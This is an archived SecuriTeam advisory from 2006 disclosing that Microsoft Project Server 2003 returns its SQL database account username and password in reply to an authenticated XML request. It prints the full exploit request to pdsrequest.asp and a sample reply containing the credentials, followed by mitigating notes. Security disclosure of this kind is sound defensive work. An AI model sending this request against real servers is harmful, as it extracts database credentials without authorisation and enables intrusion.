

[NT] Project Server 2003 Credential Disclosure

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-12/msg00038.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 20 Dec 2006 16:56:06 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Project Server 2003 Credential Disclosure

SUMMARY

Microsoft Project server 2003 implements a thick client for some of the functionality. The thick client uses XML requests to talk to the server of HTTP(S). One of these requests returns the username and password of the MSProjectUser account used to access the SQL database as well as other system information.

DETAILS

Exploit:

POST <http://SERVER/projectserver/logon/pdsrequest.asp> HTTP/1.0

Accept: */*

Accept-Language: en-nz

Pragma: no-cache

Host: SERVER

Content-length: 87

Proxy-Connection: Keep-Alive

Cookie: PjSessionID=<valid cookie>

<Request>

<GetInitializationData>

[NT] Project Server 2003 Credential Disclosure

```
<Release>1</Release>
</GetInitializationData>
</Request>

<Reply>
<HRESULT>0</HRESULT>
<STATUS>0</STATUS>
<UserName>theuser</UserName>
<GetInitializationData>
<GetLoginInformation>
<DBType>0</DBType>
<DVR>{SQLServer}</DVR>
<DB>ProjectServer</DB>
<SVR>SERVER</SVR>
<ResGlobalID>1</ResGlobalID>
<ResGlobalName>resglobal</ResGlobalName>
<UserName>MSProjectUser</UserName> <-----
<Password>sekretpass</Password> <-----
<UserNTAccount>SERVER\USER</UserNTAccount>
</GetLoginInformation>
</Reply>
```

Some quick notes that mitigate this attack:

- * The cookie must be a valid cookie, which is obtained via a login with a valid username and password.
- * Since the thick client is 'client side' any SQL can be manipulated anyway.
- * The MSProjectUser should be a low level account anyway
- * Other 'undocumented' or 'unauthorized' requests 'may' also be able to be made through this method.

ADDITIONAL INFORMATION

The information has been provided by

<<mailto:brett.moore@xxxxxxxxxxxxxxxxxxxxxxxx>> Brett Moore.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

[NT] Project Server 2003 Credential Disclosure

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.